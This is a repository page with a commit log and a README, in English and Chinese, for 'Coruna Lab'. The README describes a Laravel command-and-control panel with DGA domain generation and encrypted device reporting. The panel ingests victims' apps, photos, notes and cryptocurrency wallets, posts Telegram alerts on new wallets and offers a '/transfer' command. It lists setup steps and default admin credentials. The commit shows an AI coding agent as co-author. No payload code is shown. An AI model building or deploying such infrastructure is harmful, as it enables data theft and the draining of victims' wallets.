hashbro 51336e346a Keep Tokenview and Telegram running when log files are not writable.
Daily logs created by root cron were blocking www from appending, which aborted webhook ingest and bot pushes. File channels now use 0664 plus exception-safe stacks, and writes go through SafeLog.

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-09-15 11:40:44 +08:00
2026-09-14 02:23:56 +08:00
2026-09-14 01:09:01 +08:00
2026-08-26 03:14:15 +08:00
2026-09-10 05:04:56 +08:00
2026-09-12 03:42:48 +08:00
2026-09-12 03:42:48 +08:00
2026-09-14 01:09:01 +08:00
2026-09-14 04:12:54 +08:00
2026-09-05 20:18:30 +08:00
2026-09-14 03:32:56 +08:00
2026-08-08 05:09:01 +08:00
2026-08-08 05:09:01 +08:00
2026-09-14 03:32:56 +08:00
2026-08-08 05:09:01 +08:00
2026-08-24 06:23:07 +08:00
2026-08-08 05:09:01 +08:00
2026-09-12 03:42:48 +08:00
2026-09-12 03:42:48 +08:00
2026-08-08 05:09:01 +08:00
2026-08-10 04:49:36 +08:00
2026-08-09 22:05:47 +08:00
2026-08-08 05:09:01 +08:00

Coruna Lab

Laravel C2 + Admin,渠道静态资源由内置 channel-builder/ 直接构建(DGA seed + channel id,无独立 Build API)。

coruna-lab/
├── app/                 # C2 / Admin
├── channel-builder/     # source + Python patch tools
├── public/              # 默认产物根(可直接当静态站)
│   ├── web/<channel-id>/
│   └── sync/
└── storage/app/channel-builder/   # lab_seeds.json + out/(不对外)

Requirements

Tool Path / note
PHP 8.2+ /opt/homebrew/opt/php/bin/php
Composer via brew PHP
Python 3.10+ channel-builder/.venv
MySQL 8.0 preferred;sqlite 可 smoke
p7zip CORUNA_7Z_BIN 或 bin/7z(C2 入库用)
export PATH="/opt/homebrew/opt/php/bin:$PATH"
php -v

cd channel-builder
python3 -m venv .venv
.venv/bin/pip install -r requirements.txt

Setup

cp .env.example .env
# edit .env: DB_*, TELEGRAM_*, ADMIN_*, CORUNA_ARTIFACT_ROOT / CORUNA_CHANNEL_BUILDER_*

php artisan key:generate   # once
php artisan migrate --seed
php artisan serve --host=0.0.0.0 --port=8000

Admin:

  • Shell: http://127.0.0.1:8000/admin
  • Login: http://127.0.0.1:8000/admin/login
  • 默认账号:admin / admin123(见 .env ADMIN_*)

新建渠道

创建渠道时 Laravel 直接调用 channel-builder/tools/new_project.py:

  • seed:Deployment / Reporting 共用同一 seed(可同时传入相同值;否则读/写 lab_seeds.json,首次自动生成一份)
  • 首次(或换 seed)会重建共享 sync/,并返回 DGA 域名供注册/绑源站
  • 之后新渠道只生成 web/<id>/
CORUNA_CHANNEL_BUILDER_PYTHON=/path/to/channel-builder/.venv/bin/python
# 默认即可:产物写到 public/,seed 状态在 storage/app/channel-builder/
# CORUNA_ARTIFACT_ROOT=
# CORUNA_CHANNEL_STATE_ROOT=
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
CORUNA_LAB_CHANNEL_DOMAINS=cdn.example.com

同机时 Admin 站点 public/ 即静态根;DGA 域名反代到同一 public/:

https://<host>/web/<channel-id>/support.html
https://<dga-host>/sync/daily.html

宝塔部署见 docs/BAOTA_DEPLOY.md。

C2 / Admin 说明

  • Reporting:AES-256-ECB JSON + multipart /api/user/check 7z
  • 入库:devices / apps / photos / notes / wallets + c2_raw_logs
  • Telegram:新设备、新/变更钱包;/transfer 指令
php artisan test
S
Description
No description provided
Readme 138 MiB
Languages
JavaScript 68.3%
HTML 14%
PHP 13.8%
Blade 2.3%
Python 1.5%